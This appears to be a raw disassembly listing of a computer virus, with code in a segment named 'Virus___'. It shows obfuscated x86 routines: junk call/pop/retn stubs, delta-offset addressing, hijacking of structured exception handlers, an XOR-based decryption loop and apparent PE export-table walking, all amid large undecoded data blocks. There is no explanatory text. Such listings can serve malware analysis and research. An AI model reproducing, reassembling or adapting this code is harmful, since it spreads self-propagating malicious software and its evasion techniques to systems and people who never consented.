		dd 0DE9h, 600D7B00h, 4424ACh, 0A70EEAA6h, 6A909910h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 6643C355h, 0E929851Ch, 0Fh, 48F13338h, 0A4B75839h, 83402F90h
		dd 60A5E898h, 260D8503h, 8D61095Dh, 6041B585h, 18D0F09h
		dd 0F5000000h, 9509D0FFh, 95D1379h, 0FFFD52E9h,	56006AFFh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0E21701A7h, 0E4777048h
		db 2Bh,	5Eh
; ---------------------------------------------------------------------------


loc_5A328A:				; CODE XREF: sub_5A1C71:loc_5A2118j
		lea	eax, [ebp+9608AE2h]
		push	0
		push	ebp
		call	sub_5A329B
		and	[ebp-3Dh], bl
sub_5A1C71	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5A329B	proc near		; CODE XREF: sub_5A1C71+1622p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5A329B	endp

; ---------------------------------------------------------------------------
		add	dword ptr [edx-1080F399h], 89F0BD4Fh
		xchg	eax, ebp
		aad	14h
		pop	ebp
		or	[eax+60h], edx
		jmp	loc_5A32D3
; ---------------------------------------------------------------------------
		db 97h,	0BFh, 79h
		dd 62FC872Eh, 0DF1CC020h, 18DF5CD8h
		db 2 dup(92h), 0D4h
; ---------------------------------------------------------------------------


loc_5A32D3:				; CODE XREF: Virus___:005A32BCj
		popa
		mov	[esp], eax
		push	0
		push	edi
		call	sub_5A32E2
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A32E2	proc near		; CODE XREF: Virus___:005A32DAp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5A32E2	endp

; ---------------------------------------------------------------------------
		dw 9367h
; ---------------------------------------------------------------------------
		clc


loc_5A32F5:				; CODE XREF: Virus___:005A333Bj
		mov	edi, 6ABEDBD0h
		pusha
		or	ebx, [ebp+95D26A1h]
		popa
		jmp	loc_5A3317
; ---------------------------------------------------------------------------
		db 0ECh
		dd 2E12E538h, 58D36FAAh, 0F5214C1h
		db 6Eh,	0D5h, 72h
; ---------------------------------------------------------------------------


loc_5A3317:				; CODE XREF: Virus___:005A3302j
					; Virus___:005A334Dj
		cmc
		push	large dword ptr	fs:0
		push	0
		push	eax
		call	sub_5A332A
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A332A	proc near		; CODE XREF: Virus___:005A3322p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5A332A	endp

; ---------------------------------------------------------------------------
		pop	ebp
		jbe	short loc_5A32F5
		mov	cl, 7Eh
		or	[ebx], ebp
		jmp	loc_5A335A
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		movsd
		mov	ebx, 0B3539721h
		jo	short loc_5A3317
		add	[edx+9FE5374h],	esi
		stosd
		rcl	dword ptr [esp+edx], cl
		cmpsd


loc_5A335A:				; CODE XREF: Virus___:005A3341j
		mov	[ebp+95D0381h],	edx
		mov	eax, [esp]
		push	0
		push	ebp
		call	sub_5A336E
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A336E	proc near		; CODE XREF: Virus___:005A3366p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5A336E	endp

; ---------------------------------------------------------------------------
		dw 7E6Eh
		dd 61BA9128h, 0E9C83D49h, 8, 67F9F7E4h,	6E19C58Dh, 234DBD01h
		dd 8589095Dh, 95D2721h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 34C35545h, 1D99B059h,	0F5F653ACh, 258964h
		dd 60000000h, 31C8B70Fh, 5D08B59Dh, 858D6109h, 9608957h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0A4C35040h
		dd 0A352A0A2h, 858B603Fh, 95D1955h, 1CD1B589h, 0F961095Dh
		dd 6A016089h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 0D50C352h, 71958957h, 0F095D02h
		dd 118Bh, 0B8C0F00h, 0E9000000h, 6, 0E4FA6AD3h,	0F0E9CD4Ch
		dd 6A000001h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 426CC351h, 0CCC53EFDh,	8529710Eh
		dd 95D0FCDh, 0E8DB8BFCh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 9608950h
		mov	esp, 12FF9Ch
		cmp	dword ptr [ebp+95D0315h], 0
		jz	short loc_5A34AD
		mov	eax, [ebp+95D2215h]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+95D2511h]
		mov	byte ptr [eax],	0
		call	dword ptr [ebp+95D02BDh]


loc_5A34AD:				; CODE XREF: Virus___:005A3493j
		pusha
		push	dword ptr [ebp+96071E8h]
		lea	eax, [ebp+96071ECh]
		push	eax
		lea	eax, [ebp+96073E4h]
		push	eax
		call	dword ptr [ebp+95D111Dh]
		add	esp, 0Ch
		popa
		jb	loc_5A34D8
		xor	[ebp+95D031Dh],	edi


loc_5A34D8:				; CODE XREF: Virus___:005A34CCj
		mov	[ebp+95D3245h],	edi
		lea	esi, [ebp+96073E4h]
		push	0
		push	ecx
		call	sub_5A34EF
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A34EF	proc near		; CODE XREF: Virus___:005A34E7p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5A34EF	endp

; ---------------------------------------------------------------------------
		cmp	eax, edi
		dec	eax
		cmc
		lea	edi, [ebp+95D0CF5h]
		push	0
		push	eax
		call	sub_5A3514
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A3514	proc near		; CODE XREF: Virus___:005A350Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5A3514	endp

; ---------------------------------------------------------------------------
		dd 0DF7D860h, 0A1ABC724h, 11E9EEF1h, 7E000000h,	0C45F566Eh
		dd 8ED8D18Fh, 7625B61Bh, 0EB645950h, 0F003E80h,	4C84h
		dd 41958900h, 0A4095D29h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 80C35343h, 370F11B9h,	0FFFFCBE9h, 50006AFFh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0BE527D00h, 6AC02BF8h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0B14EC352h,	13E9B134h
		dd 3D000000h, 99770B77h, 7DF31FAh, 0F3969E9h, 152F0BCFh
		dd 0E9AA834Fh, 6, 0F1A6E9FAh, 7B881E5h,	0F8000000h, 6CE88160h
		dd 8B439CF4h, 5D16F98Dh, 85C76109h, 95D219Dh, 1, 0C318529h
		dd 9D09095Dh, 95D1A75h,	4D928D8Dh, 0FFF8095Dh, 5C8BF8E1h
		dd 0E8550C24h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 9608AECh
		mov	eax, [ebx+0B8h]
		mov	[ebp+96071E8h],	eax
		lea	eax, [ebp+9608949h]
		mov	[ebx+0B8h], eax
		pop	ebp
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5A364A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A364A	proc near		; CODE XREF: Virus___:005A3642p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5A364A	endp

; ---------------------------------------------------------------------------
		dw 4F8Eh
		dd 498501E2h, 89095D0Ah, 5D22DDBDh, 0C800F09h, 60000000h
		dd 8448BA66h, 7E98D0Bh,	6A61095Dh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0DFE6C350h
		dd 608D19A2h, 0B58B5160h, 95D2F35h, 0C8E6815Ah,	6177BFDCh
		dd 8D54858Dh, 6A0960h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 7EF191C3h, 31990C49h, 9035D23Ch
		dd 7E9h, 4FF78A00h, 0E8820855h,	0CA8B6050h, 0F2EBE66h
		dd 6A9061h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 38CC6FC3h, 0F295445h, 0C80h, 6870F00h, 0F000000h
		dd 86h,	35FF6400h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+95D2125h],	edi
		mov	large fs:0, esp
		mov	[ebp+95D09C1h],	ebx
		lea	eax, [ebp+9608DB1h]
		stc
		mov	[eax+1], esp
		push	0
		push	edx
		call	sub_5A3750
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A3750	proc near		; CODE XREF: Virus___:005A3748p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5A3750	endp

; ---------------------------------------------------------------------------
dword_5A3760	dd 331A8D7Ah, 0DDFB025Bh, 6E9F0h, 0EA550000h, 0B50EE8DBh
		dd 49858B60h, 1095D2Bh,	5D315D8Dh, 85C66109h, 95D3335h
		dd 6861604Fh, 939D35BEh, 52505250h, 8A0Fh, 310F0000h, 6E9h
		dd 0B2FA5000h, 5AB5399Fh, 0F310F58h, 287h, 5A616000h, 24348158h
		dd 6D554194h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 17h,	8EC35747h, 0FFE5434h, 178Ch, 12E900h, 9E520000h
		dd 0BE5A9917h, 2012AF5Bh, 0F4904350h, 46B6DA88h, 815B5FFh
		dd 6A095Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0F652A5C3h, 0EDDBB575h, 13858DF9h, 0F096076h
		dd 0C85h, 68D0F00h, 0F000000h, 8Ah, 6AD0FF00h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0E3B5C350h, 0BA609061h, 4EA707F1h, 0DB38C381h, 0E9612831h
		dd 75h,	13E9h, 50399000h, 0DFCB7942h, 58265CF1h, 0A1D2101Ah
		dd 72DF765Ah, 0C245C8Bh, 0E855h, 815D0000h, 608D5EEDh
		dd 0F1858B09h, 89095D08h, 5D081585h, 11858B09h,	89095D07h
		dd 5D307585h, 5858B09h,	89095D06h, 5D0F9985h, 3585C609h
		dd 95D33h, 770F85C7h, 960h, 858D0000h, 9608DB1h, 0B88389h
		dd 335D0000h, 0BD09C3C0h, 95D19F9h, 0FF74BCF5h,	810F0012h
		dd 0Ch,	68A0Fh,	0B5290000h, 95D2A05h, 0CE816660h, 0FE8AD9Dh
		dd 4E000000h, 86B61A4Eh, 0ACDA5E64h, 3937AAC6h,	9D8B655Dh
		dd 95D2645h, 8F646159h,	5, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 64187145h
		dd 0AE91FB8h, 0C3000000h, 353B0884h, 9E835E7Fh,	4C483D6h
		dd 0E0BF6660h, 0DB8166F2h, 616130D8h, 83E9h, 52515300h
		dd 5C8B5756h, 81661C24h, 0F5A4D3Bh, 6885h, 43B70F00h, 66D8033Ch
		dd 45503B81h, 57850Fh, 5B8B0000h, 245C0378h, 24738B1Ch
		dd 1C247403h, 207B8B56h, 31C738Bh, 320247Ch, 0FC202474h
		dd 41FFC983h, 1C245C8Bh, 5403178Bh, 0C7832024h,	84028A04h
		dd 3A0874C0h, 43E87503h, 3AF2EB42h, 5FE07503h, 0B70FE1D1h
		dd 48B0F04h, 24440386h,	5A5E5F1Ch, 8C25B59h, 0E9C03300h
		dd 0FFFFFFF1h, 0BE8CA8Bh, 0AA000000h, 0AC5BC517h, 0A6EBFFD1h
		dd 815321D3h, 217F1CE3h, 81595F01h, 0CB93DDE8h,	6CC18154h
		dd 81000061h, 0A94621C7h, 0B0D23319h, 0A34FF74h, 528B866h
		dd 9E9535Eh, 0C5000000h, 0B53AABEAh, 9DBE44AAh,	43F6815Bh
		dd 8161982Bh, 0D95577EEh, 0D6CCBF13h, 0C6812BC5h, 36207F41h
		dd 0CE9h, 0C1EC3200h, 0CB8CE920h, 9004DE0h, 11348935h
		dd 0C3C38166h, 81C28AA9h, 0D20C6EEAh, 0CE924h, 0C6420000h
		dd 4E378950h, 8A0632C1h, 0C2819243h, 24D20C6Ah,	0EE9h
		dd 0B8E6C900h, 2D190201h, 6B94A612h, 81DEDC17h,	0FF9F44FAh
		dd 7A850FFFh, 52FFFFFFh, 0E9585B53h, 148h, 44h,	48h, 4Ch
		dd 50h,	54h, 58h, 5Ch, 60h, 0A4h, 0A8h,	0ACh, 0B0h, 0B4h
		dd 0B8h, 0BCh, 0C0h, 0C4h, 0C8h, 0CCh, 0D0h, 0D4h, 0D8h
		dd 0DCh, 0E0h, 38h dup(0)
		dd offset dword_5A3760+3A8h
; ---------------------------------------------------------------------------
		add	eax, edx
		scasd
		add	[ebp+608F7885h], cl
		or	[edi+347F982Ch], edi
		mov	[ebp+96090B8h],	eax
		movzx	edi, dx
		mov	byte ptr [ebp+95D3335h], 54h
		or	edi, 76800CAh
		push	0BBB7D958h
		push	eax
		mov	di, dx
		pop	esi
		xor	dword ptr [esp], 55D5B171h
		clc
		push	dword ptr [ebp+95D0815h]
		jnp	loc_5A3C3A
		ja	loc_5A3C3A
		mov	ebx, 4331FA98h


loc_5A3C3A:				; CODE XREF: Virus___:005A3C29j
					; Virus___:005A3C2Fj
		lea	eax, [ebp+9607613h]
		add	[ebp+95D06F1h],	edi
		call	eax
		mov	ecx, [ebp+95D1AADh]
		add	[ebp+95D24B9h],	ecx
		mov	[ebp+96090BCh],	eax
		sbb	dx, 4EAEh
		jle	loc_5A3C71
		jmp	loc_5A3C71
; ---------------------------------------------------------------------------
		dw 50D9h
; ---------------------------------------------------------------------------
		mov	ds:9131C54h, al


loc_5A3C71:				; CODE XREF: Virus___:005A3C5Fj
					; Virus___:005A3C65j
		jmp	loc_5A3CC4
; ---------------------------------------------------------------------------
		mov	esi, [ebp+95D2439h]
		push	esi
		mov	esi, [ebp+96090B8h]
		mov	[esi], eax
		add	dword ptr [ebp+96090B8h], 4
		pop	esi
		retn
; ---------------------------------------------------------------------------
		pusha
		lea	esi, [ebp+9608F78h]
		jmp	short loc_5A3CA6
; ---------------------------------------------------------------------------


loc_5A3C97:				; CODE XREF: Virus___:005A3CA9j
		push	esi
		push	0
		push	dword ptr [esi]
		call	dword ptr [ebp+96090BCh]
		pop	esi
		add	esi, 4


loc_5A3CA6:				; CODE XREF: Virus___:005A3C95j
		cmp	dword ptr [esi], 0
		jnz	short loc_5A3C97
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		or	edx, 2DD2D2Ch
		mov	edi, [ebp+95D10F1h]
		popa
		mov	si, bx
		mov	[ebp+95D0895h],	ecx


loc_5A3CC4:				; CODE XREF: Virus___:loc_5A3C71j
		lea	eax, [ebp+960915Eh]
		mov	[ebp+95D3359h],	ecx
		mov	[ebp+95D1411h],	eax
		call	near ptr loc_5A3CDE+4
		mov	word ptr [edx+6Ah], cs


loc_5A3CDE:				; CODE XREF: Virus___:005A3CD6p
		mov	ecx, [ecx-76443B58h]
		insd
		fidivr	word ptr [ebx]
		pop	edi
		jmp	loc_5A3CF3
; ---------------------------------------------------------------------------
		setalc
		mov	cr3, edx
		fcom	st(1)


loc_5A3CF3:				; CODE XREF: Virus___:005A3CE8j
		add	edi, 668Fh
		jmp	loc_5A3D06
; ---------------------------------------------------------------------------
		lea	ebx, [ecx-64E964F0h]
		sub	al, 0C6h


loc_5A3D06:				; CODE XREF: Virus___:005A3CF9j
		mov	edx, 1974h
		mov	[ebp+95D0759h],	ebx


loc_5A3D11:				; CODE XREF: Virus___:005A3D8Bj
		push	dword ptr [edi]
		jmp	loc_5A3D22
; ---------------------------------------------------------------------------
		xchg	eax, edx
		dec	ebp
		sub	bh, ds:0CA8A47ABh
		push	esi
		xchg	eax, ebx


loc_5A3D22:				; CODE XREF: Virus___:005A3D13j
		pop	eax
		cmc
		sub	eax, 6E0BB4Bh
		jnp	loc_5A3D36
		xor	ecx, [ebp+95D123Dh]


loc_5A3D36:				; CODE XREF: Virus___:005A3D2Aj
		xor	eax, 8FB7842h
		xor	bh, 13h
		xor	eax, 5CEFCD72h
		add	bh, 13h
		push	eax
		mov	si, bx
		pop	dword ptr [edi]
		jmp	loc_5A3D5C
; ---------------------------------------------------------------------------
		db 78h
; ---------------------------------------------------------------------------
		aam	6Ch
		push	ecx
		or	eax, 52941F4Eh


loc_5A3D5C:				; CODE XREF: Virus___:005A3D4Ej
		sub	edi, 2
		mov	ecx, eax
		dec	edi
		dec	edi
		mov	ch, ah
		dec	edx
		jnz	loc_5A3D85
		movsx	esi, di
		jmp	loc_5A3D9E
; ---------------------------------------------------------------------------
		dd 0CC1A9C8Ch, 0FA74375h, 0C85916Dh, 9DFE7F95h
		db 0BCh
; ---------------------------------------------------------------------------


loc_5A3D85:				; CODE XREF: Virus___:005A3D66j
		or	ebx, 67DF4045h
		jmp	loc_5A3D11
; ---------------------------------------------------------------------------
		imul	ebp, [edx+42h],	1Bh
		dec	edx
		scasd
		retf
; ---------------------------------------------------------------------------
		db 5
		dd 7F33FEBDh
		db 0CCh
		db 28h
; ---------------------------------------------------------------------------


loc_5A3D9E:				; CODE XREF: Virus___:005A3D6Fj
		jmp	short loc_5A3DEF
; ---------------------------------------------------------------------------
		dd 0FA251C8Fh, 0C6A108ABh, 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h
		dd 0CE1BF531h, 0D129B327h, 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh
		dd 0A6DBh, 5 dup(0)
		dd 87000000h, 2352DDB4h, 9ED920h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5A3DEF:				; CODE XREF: Virus___:loc_5A3D9Ej
		jmp	loc_5A4FB5
; ---------------------------------------------------------------------------
		jmp	loc_5A3E09
; ---------------------------------------------------------------------------
		db 0BDh, 0A4h, 66h
		dd 0C499597Fh, 93AEEC11h, 959FFE71h
		db 80h
; ---------------------------------------------------------------------------


loc_5A3E09:				; CODE XREF: Virus___:005A3DF4j
		push	ecx
		push	eax
		mov	ecx, [ebp+95D3221h]
		pop	ecx
		pop	ecx
		cmp	dword ptr [ebp+95D0971h], 0
		jnz	loc_5A3E6D
		push	0
		push	ecx
		call	sub_5A3E2B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A3E2B	proc near		; CODE XREF: Virus___:005A3E23p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5A3E2B	endp

; ---------------------------------------------------------------------------
		db 6
		dd 0A1506E10h, 0B8F9B568h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+95D1605h],	edi
		retn	4
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5A3E5C
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A3E5C	proc near		; CODE XREF: Virus___:005A3E54p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5A3E5C	endp

; ---------------------------------------------------------------------------
		db 82h
; ---------------------------------------------------------------------------


loc_5A3E6D:				; CODE XREF: Virus___:005A3E1Aj
		mov	eax, eax
		push	0
		push	eax
		call	sub_5A3E7A
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A3E7A	proc near		; CODE XREF: Virus___:005A3E72p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5A3E7A	endp

; ---------------------------------------------------------------------------
		dw 0D332h
		dd 860F518Dh, 18h, 12E8h, 368B3900h, 9B08E486h,	0A1459FEEh
		dd 4647A7CBh, 5A1D651Ch, 9BD835Fh, 95D18h, 0BD830975h
		dd 95D0329h, 50137400h,	0B8C08B53h, 4D0h, 0A8359D8Dh, 0D3FF095Fh
		dd 0BD83585Bh, 95D0329h, 50117400h, 4D0B853h, 9D8D0000h
		dd 95FA782h, 585BD3FFh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 0D6C35040h, 8952EFDCh, 5D199995h, 6E85F09h
		dd 0D8000000h, 5C1DC9BEh, 0C08B5A92h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 0FC35242h, 8D58D8Bh, 858D095Dh
		dd 96092B3h, 0E303BA50h, 489577Fh, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0E29A8DFAh
		dd 8B666D2Dh, 70858DD7h, 0BF096092h, 135EE1C5h,	5066B190h
		dd 0F890D78Bh, 95FFFA8Bh, 95D2961h, 1C860Fh, 13E80000h
		dd 6E000000h, 0D9489166h, 585ACBDEh, 0A1C9D9Eh,	0D465BDE2h
		dd 8B66FD5Bh, 958959C8h, 95D23D5h, 424448Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 9AC35646h, 89CFAE30h
		dd 5D29C1BDh, 9B858909h, 6A096092h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 60A8C353h
		dd 448BB6B1h, 8D890824h, 95D123Dh, 92AF8589h, 6A0960h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 25694DC3h, 76D8A93Fh, 0B58589CDh, 83095D14h,	5D32B9BDh
		dd 850F0009h, 17Ah, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 43C35545h, 98C63A42h,	250D8D8Bh, 5660095Dh
		dd 0DE8h, 0B6225300h, 6E99D39Eh, 0CEC7917Fh, 5958C000h
		dd 958B61F5h, 95D3121h,	333585C6h, 6A47095Dh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 90B3C356h, 4E8h, 9AA7D200h, 0BCBF52D4h, 59587AD8h, 8BA1B150h
		dd 0BA042444h, 54E8EF49h, 5250008Bh, 12E9310Fh,	0B1000000h
		dd 674F3929h, 79A75DF3h, 0B07F4706h, 19E744Fh, 89585AA8h
		dd 60042444h, 17B5BF57h, 505F583Dh, 615EDE8Bh, 51006A58h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 759589EAh, 0FF095D20h, 5D0815B5h, 8ABF6609h,	13858DD4h
		dd 6A096076h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 9D1AC351h, 7F7F1C60h, 0FC9F0B8h
		dd 0E7F5BA66h, 6AD0FFh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 3C0BCEC3h, 0BD8BF7CCh, 95D30D1h
		dd 32B98589h, 6A095Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 713B04C3h, 42CD23B6h, 10E94ED4h
		dd 92000000h, 120D6DD3h, 69DB7146h, 0CCDC2D2Bh,	0FB35497h
		dd 0BD83FAB7h, 95D2A11h, 0D1850F00h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0D54DC350h, 0CE960h,	43720000h, 9E2AF47Ah, 76641EFFh
		dd 830F55F1h, 6, 27598589h, 8961095Dh, 5D27B18Dh, 3585C609h
		dd 47095D33h, 681CF580h, 0D6CB3863h, 52506060h,	585A310Fh
		dd 0F616160h, 1885h, 13E900h, 55890000h, 0A4EC67A2h, 0DD9D39F7h
		dd 0C50400F2h, 0B53AABEAh, 348161AAh, 0C48D8124h, 0C87CBF5Ch
		dd 0B5FF6573h, 95D0815h, 858DCB8Bh, 9607613h, 5E860h, 0F320000h
		dd 0F95894Eh, 15BF0B7h,	5D2B099Dh, 0CCB26109h, 0BF66D0FFh
		dd 8589E01Ch, 95D2A11h,	13E9h, 0CD827700h, 0C873924Bh
		dd 762E260Ah, 7306ED4Bh, 9DEC2EFCh, 2065BD83h, 0F00095Dh
		dd 0A185h, 69953100h, 0C6095D03h, 5D333585h, 0BA665609h
		dd 62687226h, 66C069D5h, 812279B9h, 0B85B2434h,	89521476h
		dd 5D06199Dh, 0B5FF5A09h, 95D0815h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0C5C35040h,	9C46C759h, 13858D94h
		dd 6A096076h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 8BFAC357h, 6AD0FFF9h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 76ABC352h, 8BD9A98Eh, 658589FAh, 0F095D20h, 85C6CFB7h
		dd 95D3335h, 50006A6Ch,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 90DAEA4Ah, 33A1EEC5h, 5D32AD8Dh
		dd 0E5A36809h, 5250B7A8h, 4B4C70BFh, 8B310F4Fh,	81585AD0h
		dd 8AE02404h, 6A235Ch, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 5B0330C3h, 0D1B70F72h, 8F1B5FFh
		dd 0BD89095Dh, 95D276Dh, 3973858Dh, 6A095Dh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0D42F64C3h
		dd 0C60F3AC5h, 29BD89DBh, 0FF095D05h, 51006AD0h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 0E9A537E6h, 0Eh, 0F791CFF5h,	4BE4979Ch, 0D3DE31CBh
		dd 8589C7D9h, 960929Fh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 56C35242h, 16EBCF6Fh,	0BD83D02Bh, 96092BBh
		dd 0DA850F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0EADEC352h,	0BB74DA96h
		dd 66A37636h, 1AA1C181h, 333585C6h, 0E849095Dh,	4, 8C1529E9h
		dd 97B96650h, 24448B44h, 2BB96604h, 66008B62h, 4489FB8Bh
		dd 0CF8B0424h, 50006A58h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0B5FF3442h, 95D08F1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 5FC35747h
		dd 254BCE60h, 858D6009h, 95D3973h, 10A9958Bh, 0D0FF095Dh
		dd 220DB529h, 8B66095Dh, 0BB8589CEh, 6A096092h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0FAA6C351h, 75B58928h, 8B095D07h, 6A046AD3h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0C20FC352h, 4916695Ch, 50B66854h, 0CA8B4D54h, 0B6243481h
		dd 0E94D5440h, 11h, 62A25EBCh, 0CA38BB56h, 296DD7FCh, 0BD6AECEDh
		dd 9B5893Dh, 68095D15h,	83B391ADh, 81D18B66h, 6E532404h
		dd 76B97C4Dh, 0F057B89h, 38Ch, 0FB8B6600h, 6A006Ah, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0E042A1C3h, 0A2C18166h, 0D9816686h, 95FF12F6h, 95D1CE5h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0FEC35343h
		dd 4C68524Fh, 16B96691h, 0AB858931h, 0E9096092h, 7, 6F336E05h
		dd 0C76FFCC2h, 6092A385h, 9, 0B58D8B00h, 6A095D0Fh, 11E900h
		dd 2C070000h, 0E40C3E92h, 53C7DC6Eh, 0C87E0EA3h, 68E959AFh
		dd 1A4FE71h, 3481D38Ah,	0A5FE7124h, 52006A01h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0B5C21EB5h
		dd 53609037h, 61595856h, 0EE85650h, 0DD000000h,	7801CEF6h
		dd 1BD70ABBh, 0BA3E9889h, 47BA6638h, 90595907h,	0E853006Ah
		dd 3
		dd 5BC35B20h, 4245C89h,	4244481h, 18h, 0FAC35343h, 753DA402h
		dd 243D9503h, 840F095Dh, 6, 8258D33h, 0B6A095Dh, 1A0D9529h
		dd 6057095Dh, 14E9h, 525CDD00h,	0ADAC3727h, 456FAC79h
		dd 0B8641871h, 0EBA35E1Fh, 0E195099Ah, 61095D03h, 78858D5Fh
		dd 0F8096092h, 244DB589h, 0E850095Dh, 10h, 0E4E7D30Ch
		dd 76FDCA9Bh, 0E54E7318h, 0A14268E8h, 8C0F60h, 61000000h
		dd 2404895Ah, 32B995FFh, 10E9095Dh, 2B000000h, 58B79C17h
